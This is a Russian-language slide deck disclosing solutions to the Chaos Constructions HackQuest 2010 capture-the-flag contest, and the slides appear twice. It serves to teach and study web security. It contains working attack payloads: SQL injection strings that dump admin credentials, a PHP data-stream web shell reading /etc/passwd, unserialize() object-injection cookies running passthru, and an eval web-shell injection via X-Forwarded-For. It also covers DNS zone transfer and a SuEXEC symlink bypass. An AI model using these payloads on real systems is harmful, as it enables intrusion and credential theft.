Chaos Constructions HackQuest 2010,  Full Disclosure ( мастер - класс )
План мероприятия Несколько слов о мероприятии Заложенные уязвимости, пути их обнаружения и эксплуатации Практическое занятие
Пара слов о  HackQuest  на  Chaos Constructions 2010 HackQuest  на  CC  — это открытые соревнования по защите информации, сутью которых является выполнение ряда разнообразных заданий связанных с информационной безопасностью :   web hacking,  social engineering, reverse engineering и т.п. HackQuest  на  CC  предоставляет полную свободу выбора по прохождению заданий.  Для захвата одного «ключа» необходимо воспользоваться чередой реальных уязвимостей в самых настоящих (продуктивных) системах. Расположение большинства «ключей» заранее не известно.
Разработчики  HackQuest  на  Chaos Constructions 2010 Антон Карпов (без комментариев ;  он сам за себя все сказал :   100% Virus Free Podcast #17 ,  http://www.esetnod32.ru/.company/podcast/ ) Сергей Рублев, Тимур Юнусов,  Сергей Павлов, Дмитрий Евтеев Александр Матросов Тарас Иващенко ( Oxdef) ,  Дмитрий Сидоров ( INVENT ) Владимир Воронцов ( D0znp)
Карта игровой инфраструктуры 192.168.192.2 Содержит задания 192.168.192.3 ( honeypot) Cisco 1601R router 192.168.192.4  Содержит задания 192.168.192.5 ( honeypot) Sun Solaris 9 192.168.192.6  Содержит задания 192.168.192.7 ( honeypot) Windows XP SP1 192.168.192.8  Содержит задания 192.168.192.9 Содержит задания 192.168.192.10 Содержит задания 192.168.192.11 ( honeypot) IBM AIX 4.2.X-4.3.3.0 192.168.192.12  Содержит задания 192.168.192.13 ( honeypot) Linux SuSE 192.168.192.14 (honeypot) Windows 2000 Server SP2 192.168.192.15  Содержит задания 192.168.192.16 ( honeypot) Cisco IOS 192.168.192.17  Содержит задания 192.168.192.18 (honeypot) Cisco Catalyst 192.168.192.19 (honeypot) Juniper router 192.168.192.20  Содержит задания 192.168.192.21 ( honeypot) Windows 2000 SP3 192.168.192.22 (honeypot) Check Point FireWall-1 192.168.192.10x  Содержит задания 192.168.192.10x  Содержит задания 192.168.192.172 ( honeypot) APC Smart-UPS 192.168.192.173  хост не является целью WiFi Социальная инженерия Набор дополнительных заданий
CC HackQuest 2010:  Задание  #1 SQL Injection  ( MySQL 5.x )  в Insert (error based) over Mod_Security Уязвимый запрос : … $query = "INSERT INTO indexes (text,source) value ('". $_GET['text'] ."',". $_GET['action'] .")";  … Эксплуатация : /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)) */ on+duplicate+key+update+a=('
CC HackQuest 2010:  Задание  #1 SQL Injection  ( MySQL 5.x )  в Insert (error based) over Mod_Security Альтернативные методы эксплуатации : /search.php?action=0&text=1' /*! %2b (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %2b */ '1 /search.php?action=0&text=1' /*! %26 (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %26 */ '1 /search.php?action=0&text=1' /*! %26('blabla')%26 (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %2b */ '1 /search.php?action=0&text=1' /*! %26(''%22%22'')%2b (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %26 */ '1
CC HackQuest 2010:  Задание  #1 SQL Injection  ( MySQL 5.x )  в Insert (error based) over Mod_Security Классическая последовательность эксплуатации : На выходе – таблица « admins »  /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+where+table_schema!='information_schema'+and+table_schema!='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)) */ on+duplicate+key+update+a=('   …  На выходе – имена колонок  « login » и « password » в таблице « admins »  /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)) */ on+duplicate+key+update+a=('   /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+2,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)) */ on+duplicate+key+update+a=('
CC HackQuest 2010:  Задание  #1 SQL Injection  ( MySQL 5.x )  в Insert (error based) over Mod_Security Классическая последовательность эксплуатации : На выходе –   данные из таблицы « admins » /search.php?action=1&text=1' /* !,(select+1+from(select+count(*),concat((select+concat_ws(0x3a,login,password)+from+admins+limit+0,1),0x3a,floor(rand(0)*2))x+from+admins+group+by+x)a)) */ on+duplicate+key+update+a=('
CC HackQuest 2010:  Задание  #1 Обнаружение раздела администрирования сайтом ( via robots.txt ) Восстановление  MD5- хеша ( via rainbow tables, eq www.xmd5.org )
CC HackQuest 2010:  Задание  #1 Классическая эксплуатация  Remote File Including Получение приватного  RSA  ключа   в одном из домашних каталогов пользователей системы
CC HackQuest 2010:  Задание  #1 Использование  RSA  ключа для доступа к системе (пароль не требуется) В случае использования пароля к  RSA  ключу, можно было использовать  SSH Private-Key cracker  ( http://www.neophob.com/serendipity/index.php?/archives/123-SSH-Private-Key-cracker.html )
CC HackQuest 2010:  Задание  # 2 SQL Injection  ( PostgreSQL )  в Select (error based) Уязвимость содержится в разделе восстановления пароля пользователя. Эксплуатация : /index.php?r=recovery&name=1&email=1&status= cast(version()+as+numeric)
CC HackQuest 2010:  Задание  # 2 SQL Injection  ( PostgreSQL )  в Select (error based) Классическая последовательность эксплуатации : На выходе – таблица « vsmsusers »  /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)-- ... /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+105)+as+numeric)--    …  На выходе – имена колонок « login » и « password » в таблице « vsmsusers »   /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+column_name+from+information_schema.columns+where+table_name=chr(118)||chr(115)||chr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+limit+1+offset+1)+as+numeric)-- …
CC HackQuest 2010:  Задание  # 2 SQL Injection  ( PostgreSQL )  в Select (error based) Следуя подсказке : Получение данных, восстановление  SHA1- хеша ( plain   text:  8167) :
CC HackQuest 2010:  Задание  # 2 Обнаружение уязвимости  File Including
CC HackQuest 2010:  Задание  # 2 Выполнение команд на сервере с использованием «самого короткого веб - шелла» : /index.php?u=LV89284&p= data:, <?=@`$c`?>&c=ls /index.php?u=LV89284&p= data:, <?=@`$c`?>&c=cat /etc/passwd Как это работает ? Использование  stream wrappers ( « data » появился в  PHP  с версии  5.2.0) short_open_tag  и  register_globals  в состоянии « ON » <?= ?> эквивалентно <?  echo ?>; Использование обратных кавычек эквивалентно использованию  shell_exec()   Дополнительно : http://php.net/manual/en/wrappers.data.php http://www.php.net/manual/en/wrappers.php.php http://ru.php.net/operators.execution http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/
CC HackQuest 2010:  Задание  # 2 Результат эксплуатации уязвимости  LFI
CC HackQuest 2010:  Задание  # 2 Получение ключа возможно после осуществления успешного перебора к сервису удаленного администрирования  telnet  (могут использоваться  THC-Hydra ,  Medusa ,  ncrack, etc ).   LOGIN:  websupervis0r2  PASSWORD:  websupervis0r2
CC HackQuest 2010:  Задание  #3 Сложность первого этапа указанного задания заключается в переборе «спрятанных» за  Mod_rewrite  поступающих параметров в приложение.
Журнал Хакер ( http://www.xakep.ru/magazine/xa/138/default.asp )   &quot;Фаззинг сайта, «защищенного»  mod_rewrite&quot; , Тимур Юнусов ; http://ptresearch.blogspot.com/2010/09/fuzzing-of-modrewrite-protected-site.html  http://www.ptsecurity.ru/download/modrewrite_search.zip CC HackQuest 2010:  Задание  #3
Mod_Rewrite  и  HTTP 413  « Request Entity Too Large » Ошибка возникает в следствии некоренного значения « Content-length » http://devteev.blogspot.com/2010/09/modrewrite.html CC HackQuest 2010:  Задание  #3
CC HackQuest 2010:  Задание  #3 Blind SQL Injection  ( MySQL 4.0.x ) Логически истинный запрос ( true )  /index.php?pag=1 'or(1)=(1)/* &login=1&password=1 Логически ложный запрос  (false) /index.php?pag=1 'or(1)=(2)/* &login=1&password=1
CC HackQuest 2010:  Задание  #3 Blind SQL Injection  ( MySQL 4.0.x ) Эксплуатация : /index.php?pag=1 '+or+mid(version(),1,3)='4.0'/* &login=1&password=1 /index.php?pag=1 '+or+mid(login,1,1)='b'/* &login=1&password=1 ... /index.php?pag=1 '+or+mid(password,1,1)='a'/* &login=1&password=1 ...
CC HackQuest 2010:  Задание  #3 Восстановление  MD5- хеша Доступ к веб-приложению (переход от « black-box »   к   « gray-box »)
CC HackQuest 2010:  Задание  #3 Уязвимость  HTTP Parameter Pollution (HPP)  Содержимое  .htaccess: ErrorDocument 404 ./404.html RewriteEngine On RewriteRule ^([0-9]*)\.php ./index.php?pag=$1 [L,QSA] RewriteRule ([0-9]*)/$ ./system.php?id=$1 &access=user  [L,QSA]
Что такое  HTTP Parameter Pollution? OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
Что уязвимо к атаке  HTTP Parameter Pollution Технология / Среда Интерпретация параметров Пример ASP.NET/IIS Склеивание через запятую par1=val1,val2 ASP/IIS Склеивание через запятую par1=val1,val2 PHP/APACHE Последний параметр результирующий par1=val2 PHP/Zeus Последний параметр результирующий par1=val2 JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1 JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1 JSP,Servlet/Jetty Первый параметр результирующий par1=val1 IBM Lotus Domino Первый параметр результирующий par1=val1 IBM HTTP Server Последний параметр результирующий par1=val2 mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1 Perl CGI/Apache Первый параметр результирующий par1=val1 mod_perl,lib???/Apache Первый параметр результирующий par1=val1 mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c) Pythin/Zope Первый параметр результирующий par1=val1 IceWarp Возвращается массив ['val1','val2'] AXIS 2400 Последний параметр результирующий par1=val2 Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2 Ricoh Aficio 1022 Printer  Последний параметр результирующий par1=val2 webcamXP Pro Первый параметр результирующий par1=val1 DBMan Склеивание через две тильды par1=val1~~val2
CC HackQuest 2010:  Задание  #3 Использование уязвимости  HTTP Parameter Pollution /1/? access=admin  или  /system.php?id=1& access=admin
CC HackQuest 2010:  Задание  #3 Выполнение команд на сервере over unserialize() Потенциально уязвимый участок кода ( index.php ) : … echo $pages['adminka']; $sessid =  unserialize($_COOKIE['admin_id']); … Уязвимый участок кода ( functions.php ) : … function __destruct() {echo $this->shutdown; if (!empty($this->shutdown)){ $var = $this->shutdown[0]; $arg = $this->shutdown[1]; $var($arg); … Еще почитать :  « PHP unserialize() _SESSION and Dynamics » ,  Владимир Воронцов ( http://oxod.ru/?p=244)
CC HackQuest 2010:  Задание  #3 Выполнение команд на сервере over unserialize() Эксплуатация  (cookie[admin_id]): O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:7:&quot; phpinfo &quot;%3Bi:1%3Bs:2:&quot; -1 &quot;%3B}} O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:8:&quot; passthru &quot;%3Bi:1%3Bs:8:&quot; ls -la / &quot;%3B}} O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:8:&quot; passthru &quot;%3Bi:1%3Bs:8:&quot; cat /KEY &quot;%3B}}
CC HackQuest 2010:  Задание  #4 Александр Матросов,  http://amatrosov.blogspot.com/
CC HackQuest 2010:  Задание  # 5 Нестандартный язык программирования ( Lua ) Владимир Воронцов,  http://oxod.ru/
Выход за пределы каталога  (path traversal)   Эксплуатация : cat file.in | b64decode -o file.out openssl enc -d -aes-256-cbc -in file.out -out file.decrypt -k ' из  history' CC HackQuest 2010:  Задание  # 6
Хостинг-сервер Для получения доступа к веб-приложениям требовалось идентифицировать их присутствие. Это было возможно путем переноса обслуживаемой  DNS- зоны. dig @192.168.192.10 PTR  10.192.168.192.in-addr.arpa dig @192.168.192.10  cc10.site axfr CC HackQuest 2010:  Задание  # 7
Классическая уязвимость  Local File Including Эксплуатируется неклассическим методом (см. «Новая веха в теории инклуда: свежие способы раскрутки local и remote file include»,  http://www.xakep.ru/post/49508/default.asp ) CC HackQuest 2010:  Задание  # 7
Пример проведения атаки : CC HackQuest 2010:  Задание  # 7
Обход ограничений  SuEXEC Уязвимость заключается в возможности переопределить установленные ограничения на каталог веб-сервера ( FollowSymLinks ) Использование уязвимости : echo  Options +FollowSymLinks  > /usr/local/www/data/vasya/.htaccess ln -s  /usr/local/www/data/root/ .htaccess  /usr/local/www/data/vasya/ access.txt ln -s  /usr/local/www/data/root/ .htpasswd_new  /usr/local/www/data/vasya/ passwd.txt http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf CC HackQuest 2010:  Задание  # 7
Социальная инженерия Получение исходного кода и адреса уязвимого приложения ;  эксплуатация уязвимости «Внедрение операторов  SQL »   в  SQLite  с использованием особенностей функции  sqlite_escape_string () ;  Владимир Воронцов,  http://www.xakep.ru/post/53551/default.asp  CC HackQuest 2010:  Задание  #8
Для прохождения задания требуется получение исходного кода приложения CC HackQuest 2010:  Задание  #9
Эксплуатация уязвимости : X-Forwarded-For= ';?><?eval($_GET['cmd']);?><?$a=' Результат такого запроса : # cat /usr/local/www/apache22/data/blacklist.php <? include_once('config.php'); $blacklist_ip[0] = ' ';?><?eval($_GET['cmd']);?> <?$a=''; ?> CC HackQuest 2010:  Задание  #9
Получение доступа к используемой конфигурации  Cisco   Login: cc10Cisco Password: cisco Router> enable 3 Password:   Cisco Router#show privilege Current privilege level is 3 Router# show running-config view full CC HackQuest 2010:  Задание  # 10
Подбор содержимого  TFTP- сервера http://code.google.com/p/tftptheft/downloads/list CC HackQuest 2010:  Задание  # 1 1
Тонкости  Microsoft Active Directory CC HackQuest 2010:  Задание  # 1 2
Тонкости  Microsoft Active Directory CC HackQuest 2010:  Задание  # 1 2
IPv6, WiFi, задание с использованием  Cross-Site Scripting,  стеганография, задания на поиск ключа в PDF и др. Всего  игровая инфраструктура содержала 21 ключ . CC HackQuest 2010:  Другие задания
CC HackQuest 2010:  Победители I. RDOT.org (8  заданий) II. Andrey 1800 (4  задания) III. nucro (4  задания) III. neweagle (4  задания)
CC HackQuest 2010:  Вместо заключения Что дальше ? Выполните практическое занятие Участвуйте  online   http://www.securitylab.ru/hq2010 И еще немного  ссылок : http://cc.org.ru/ http://devteev.blogspot.com/2010/08/chaos-constructions-2010_30.html
Спасибо за внимание! Вопросы ? [email_address] http://devteev.blogspot.com/

CC HackQuest 2010 Full Disclosure (мастер-класс)

  • 1.
    Chaos Constructions HackQuest2010, Full Disclosure ( мастер - класс )
  • 2.
    План мероприятия Несколькослов о мероприятии Заложенные уязвимости, пути их обнаружения и эксплуатации Практическое занятие
  • 3.
    Пара слов о HackQuest на Chaos Constructions 2010 HackQuest на CC — это открытые соревнования по защите информации, сутью которых является выполнение ряда разнообразных заданий связанных с информационной безопасностью : web hacking, social engineering, reverse engineering и т.п. HackQuest на CC предоставляет полную свободу выбора по прохождению заданий. Для захвата одного «ключа» необходимо воспользоваться чередой реальных уязвимостей в самых настоящих (продуктивных) системах. Расположение большинства «ключей» заранее не известно.
  • 4.
    Разработчики HackQuest на Chaos Constructions 2010 Антон Карпов (без комментариев ; он сам за себя все сказал : 100% Virus Free Podcast #17 , http://www.esetnod32.ru/.company/podcast/ ) Сергей Рублев, Тимур Юнусов, Сергей Павлов, Дмитрий Евтеев Александр Матросов Тарас Иващенко ( Oxdef) , Дмитрий Сидоров ( INVENT ) Владимир Воронцов ( D0znp)
  • 5.
    Карта игровой инфраструктуры192.168.192.2 Содержит задания 192.168.192.3 ( honeypot) Cisco 1601R router 192.168.192.4 Содержит задания 192.168.192.5 ( honeypot) Sun Solaris 9 192.168.192.6 Содержит задания 192.168.192.7 ( honeypot) Windows XP SP1 192.168.192.8 Содержит задания 192.168.192.9 Содержит задания 192.168.192.10 Содержит задания 192.168.192.11 ( honeypot) IBM AIX 4.2.X-4.3.3.0 192.168.192.12 Содержит задания 192.168.192.13 ( honeypot) Linux SuSE 192.168.192.14 (honeypot) Windows 2000 Server SP2 192.168.192.15 Содержит задания 192.168.192.16 ( honeypot) Cisco IOS 192.168.192.17 Содержит задания 192.168.192.18 (honeypot) Cisco Catalyst 192.168.192.19 (honeypot) Juniper router 192.168.192.20 Содержит задания 192.168.192.21 ( honeypot) Windows 2000 SP3 192.168.192.22 (honeypot) Check Point FireWall-1 192.168.192.10x Содержит задания 192.168.192.10x Содержит задания 192.168.192.172 ( honeypot) APC Smart-UPS 192.168.192.173 хост не является целью WiFi Социальная инженерия Набор дополнительных заданий
  • 6.
    CC HackQuest 2010: Задание #1 SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security Уязвимый запрос : … $query = &quot;INSERT INTO indexes (text,source) value ('&quot;. $_GET['text'] .&quot;',&quot;. $_GET['action'] .&quot;)&quot;; … Эксплуатация : /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)) */ on+duplicate+key+update+a=('
  • 7.
    CC HackQuest 2010: Задание #1 SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security Альтернативные методы эксплуатации : /search.php?action=0&text=1' /*! %2b (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %2b */ '1 /search.php?action=0&text=1' /*! %26 (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %26 */ '1 /search.php?action=0&text=1' /*! %26('blabla')%26 (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %2b */ '1 /search.php?action=0&text=1' /*! %26(''%22%22'')%2b (select+1+from(select+count(*),concat((select+user()+from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a) %26 */ '1
  • 8.
    CC HackQuest 2010: Задание #1 SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security Классическая последовательность эксплуатации : На выходе – таблица « admins » /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+where+table_schema!='information_schema'+and+table_schema!='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)) */ on+duplicate+key+update+a=(' … На выходе – имена колонок « login » и « password » в таблице « admins » /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)) */ on+duplicate+key+update+a=(' /search.php?action=1&text=1' /*! ,(select+1+from(select+count(*),concat((select+column_name+from+information_schema.columns+where+table_name='admins'+limit+2,1),0x3a,floor(rand(0)*2))x+from+information_schema.columns+group+by+x)a)) */ on+duplicate+key+update+a=('
  • 9.
    CC HackQuest 2010: Задание #1 SQL Injection ( MySQL 5.x ) в Insert (error based) over Mod_Security Классическая последовательность эксплуатации : На выходе – данные из таблицы « admins » /search.php?action=1&text=1' /* !,(select+1+from(select+count(*),concat((select+concat_ws(0x3a,login,password)+from+admins+limit+0,1),0x3a,floor(rand(0)*2))x+from+admins+group+by+x)a)) */ on+duplicate+key+update+a=('
  • 10.
    CC HackQuest 2010: Задание #1 Обнаружение раздела администрирования сайтом ( via robots.txt ) Восстановление MD5- хеша ( via rainbow tables, eq www.xmd5.org )
  • 11.
    CC HackQuest 2010: Задание #1 Классическая эксплуатация Remote File Including Получение приватного RSA ключа в одном из домашних каталогов пользователей системы
  • 12.
    CC HackQuest 2010: Задание #1 Использование RSA ключа для доступа к системе (пароль не требуется) В случае использования пароля к RSA ключу, можно было использовать SSH Private-Key cracker ( http://www.neophob.com/serendipity/index.php?/archives/123-SSH-Private-Key-cracker.html )
  • 13.
    CC HackQuest 2010: Задание # 2 SQL Injection ( PostgreSQL ) в Select (error based) Уязвимость содержится в разделе восстановления пароля пользователя. Эксплуатация : /index.php?r=recovery&name=1&email=1&status= cast(version()+as+numeric)
  • 14.
    CC HackQuest 2010: Задание # 2 SQL Injection ( PostgreSQL ) в Select (error based) Классическая последовательность эксплуатации : На выходе – таблица « vsmsusers » /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)-- ... /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+table_name+from+information_schema.tables+limit+1+offset+105)+as+numeric)-- … На выходе – имена колонок « login » и « password » в таблице « vsmsusers » /index.php?r=recovery&name=1&email=1&status=1 ;select+cast((select+column_name+from+information_schema.columns+where+table_name=chr(118)||chr(115)||chr(109)||chr(115)||chr(117)||chr(115)||chr(101)||chr(114)||chr(115)+limit+1+offset+1)+as+numeric)-- …
  • 15.
    CC HackQuest 2010: Задание # 2 SQL Injection ( PostgreSQL ) в Select (error based) Следуя подсказке : Получение данных, восстановление SHA1- хеша ( plain text: 8167) :
  • 16.
    CC HackQuest 2010: Задание # 2 Обнаружение уязвимости File Including
  • 17.
    CC HackQuest 2010: Задание # 2 Выполнение команд на сервере с использованием «самого короткого веб - шелла» : /index.php?u=LV89284&p= data:, <?=@`$c`?>&c=ls /index.php?u=LV89284&p= data:, <?=@`$c`?>&c=cat /etc/passwd Как это работает ? Использование stream wrappers ( « data » появился в PHP с версии 5.2.0) short_open_tag и register_globals в состоянии « ON » <?= ?> эквивалентно <? echo ?>; Использование обратных кавычек эквивалентно использованию shell_exec() Дополнительно : http://php.net/manual/en/wrappers.data.php http://www.php.net/manual/en/wrappers.php.php http://ru.php.net/operators.execution http://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/
  • 18.
    CC HackQuest 2010: Задание # 2 Результат эксплуатации уязвимости LFI
  • 19.
    CC HackQuest 2010: Задание # 2 Получение ключа возможно после осуществления успешного перебора к сервису удаленного администрирования telnet (могут использоваться THC-Hydra , Medusa , ncrack, etc ). LOGIN: websupervis0r2 PASSWORD: websupervis0r2
  • 20.
    CC HackQuest 2010: Задание #3 Сложность первого этапа указанного задания заключается в переборе «спрятанных» за Mod_rewrite поступающих параметров в приложение.
  • 21.
    Журнал Хакер (http://www.xakep.ru/magazine/xa/138/default.asp ) &quot;Фаззинг сайта, «защищенного» mod_rewrite&quot; , Тимур Юнусов ; http://ptresearch.blogspot.com/2010/09/fuzzing-of-modrewrite-protected-site.html http://www.ptsecurity.ru/download/modrewrite_search.zip CC HackQuest 2010: Задание #3
  • 22.
    Mod_Rewrite и HTTP 413 « Request Entity Too Large » Ошибка возникает в следствии некоренного значения « Content-length » http://devteev.blogspot.com/2010/09/modrewrite.html CC HackQuest 2010: Задание #3
  • 23.
    CC HackQuest 2010: Задание #3 Blind SQL Injection ( MySQL 4.0.x ) Логически истинный запрос ( true ) /index.php?pag=1 'or(1)=(1)/* &login=1&password=1 Логически ложный запрос (false) /index.php?pag=1 'or(1)=(2)/* &login=1&password=1
  • 24.
    CC HackQuest 2010: Задание #3 Blind SQL Injection ( MySQL 4.0.x ) Эксплуатация : /index.php?pag=1 '+or+mid(version(),1,3)='4.0'/* &login=1&password=1 /index.php?pag=1 '+or+mid(login,1,1)='b'/* &login=1&password=1 ... /index.php?pag=1 '+or+mid(password,1,1)='a'/* &login=1&password=1 ...
  • 25.
    CC HackQuest 2010: Задание #3 Восстановление MD5- хеша Доступ к веб-приложению (переход от « black-box » к « gray-box »)
  • 26.
    CC HackQuest 2010: Задание #3 Уязвимость HTTP Parameter Pollution (HPP) Содержимое .htaccess: ErrorDocument 404 ./404.html RewriteEngine On RewriteRule ^([0-9]*)\.php ./index.php?pag=$1 [L,QSA] RewriteRule ([0-9]*)/$ ./system.php?id=$1 &access=user [L,QSA]
  • 27.
    Что такое HTTP Parameter Pollution? OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
  • 28.
    Что уязвимо катаке HTTP Parameter Pollution Технология / Среда Интерпретация параметров Пример ASP.NET/IIS Склеивание через запятую par1=val1,val2 ASP/IIS Склеивание через запятую par1=val1,val2 PHP/APACHE Последний параметр результирующий par1=val2 PHP/Zeus Последний параметр результирующий par1=val2 JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1 JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1 JSP,Servlet/Jetty Первый параметр результирующий par1=val1 IBM Lotus Domino Первый параметр результирующий par1=val1 IBM HTTP Server Последний параметр результирующий par1=val2 mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1 Perl CGI/Apache Первый параметр результирующий par1=val1 mod_perl,lib???/Apache Первый параметр результирующий par1=val1 mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c) Pythin/Zope Первый параметр результирующий par1=val1 IceWarp Возвращается массив ['val1','val2'] AXIS 2400 Последний параметр результирующий par1=val2 Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2 Ricoh Aficio 1022 Printer Последний параметр результирующий par1=val2 webcamXP Pro Первый параметр результирующий par1=val1 DBMan Склеивание через две тильды par1=val1~~val2
  • 29.
    CC HackQuest 2010: Задание #3 Использование уязвимости HTTP Parameter Pollution /1/? access=admin или /system.php?id=1& access=admin
  • 30.
    CC HackQuest 2010: Задание #3 Выполнение команд на сервере over unserialize() Потенциально уязвимый участок кода ( index.php ) : … echo $pages['adminka']; $sessid = unserialize($_COOKIE['admin_id']); … Уязвимый участок кода ( functions.php ) : … function __destruct() {echo $this->shutdown; if (!empty($this->shutdown)){ $var = $this->shutdown[0]; $arg = $this->shutdown[1]; $var($arg); … Еще почитать : « PHP unserialize() _SESSION and Dynamics » , Владимир Воронцов ( http://oxod.ru/?p=244)
  • 31.
    CC HackQuest 2010: Задание #3 Выполнение команд на сервере over unserialize() Эксплуатация (cookie[admin_id]): O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:7:&quot; phpinfo &quot;%3Bi:1%3Bs:2:&quot; -1 &quot;%3B}} O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:8:&quot; passthru &quot;%3Bi:1%3Bs:8:&quot; ls -la / &quot;%3B}} O:8:&quot;Database&quot;:1:{s:8:&quot;shutdown&quot;%3Ba:2:{i:0%3Bs:8:&quot; passthru &quot;%3Bi:1%3Bs:8:&quot; cat /KEY &quot;%3B}}
  • 32.
    CC HackQuest 2010: Задание #4 Александр Матросов, http://amatrosov.blogspot.com/
  • 33.
    CC HackQuest 2010: Задание # 5 Нестандартный язык программирования ( Lua ) Владимир Воронцов, http://oxod.ru/
  • 34.
    Выход за пределыкаталога (path traversal) Эксплуатация : cat file.in | b64decode -o file.out openssl enc -d -aes-256-cbc -in file.out -out file.decrypt -k ' из history' CC HackQuest 2010: Задание # 6
  • 35.
    Хостинг-сервер Для получениядоступа к веб-приложениям требовалось идентифицировать их присутствие. Это было возможно путем переноса обслуживаемой DNS- зоны. dig @192.168.192.10 PTR 10.192.168.192.in-addr.arpa dig @192.168.192.10 cc10.site axfr CC HackQuest 2010: Задание # 7
  • 36.
    Классическая уязвимость Local File Including Эксплуатируется неклассическим методом (см. «Новая веха в теории инклуда: свежие способы раскрутки local и remote file include», http://www.xakep.ru/post/49508/default.asp ) CC HackQuest 2010: Задание # 7
  • 37.
    Пример проведения атаки: CC HackQuest 2010: Задание # 7
  • 38.
    Обход ограничений SuEXEC Уязвимость заключается в возможности переопределить установленные ограничения на каталог веб-сервера ( FollowSymLinks ) Использование уязвимости : echo Options +FollowSymLinks > /usr/local/www/data/vasya/.htaccess ln -s /usr/local/www/data/root/ .htaccess /usr/local/www/data/vasya/ access.txt ln -s /usr/local/www/data/root/ .htpasswd_new /usr/local/www/data/vasya/ passwd.txt http://www.kernelpanik.org/docs/kernelpanik/suexec.en.pdf CC HackQuest 2010: Задание # 7
  • 39.
    Социальная инженерия Получениеисходного кода и адреса уязвимого приложения ; эксплуатация уязвимости «Внедрение операторов SQL » в SQLite с использованием особенностей функции sqlite_escape_string () ; Владимир Воронцов, http://www.xakep.ru/post/53551/default.asp CC HackQuest 2010: Задание #8
  • 40.
    Для прохождения заданиятребуется получение исходного кода приложения CC HackQuest 2010: Задание #9
  • 41.
    Эксплуатация уязвимости :X-Forwarded-For= ';?><?eval($_GET['cmd']);?><?$a=' Результат такого запроса : # cat /usr/local/www/apache22/data/blacklist.php <? include_once('config.php'); $blacklist_ip[0] = ' ';?><?eval($_GET['cmd']);?> <?$a=''; ?> CC HackQuest 2010: Задание #9
  • 42.
    Получение доступа киспользуемой конфигурации Cisco Login: cc10Cisco Password: cisco Router> enable 3 Password: Cisco Router#show privilege Current privilege level is 3 Router# show running-config view full CC HackQuest 2010: Задание # 10
  • 43.
    Подбор содержимого TFTP- сервера http://code.google.com/p/tftptheft/downloads/list CC HackQuest 2010: Задание # 1 1
  • 44.
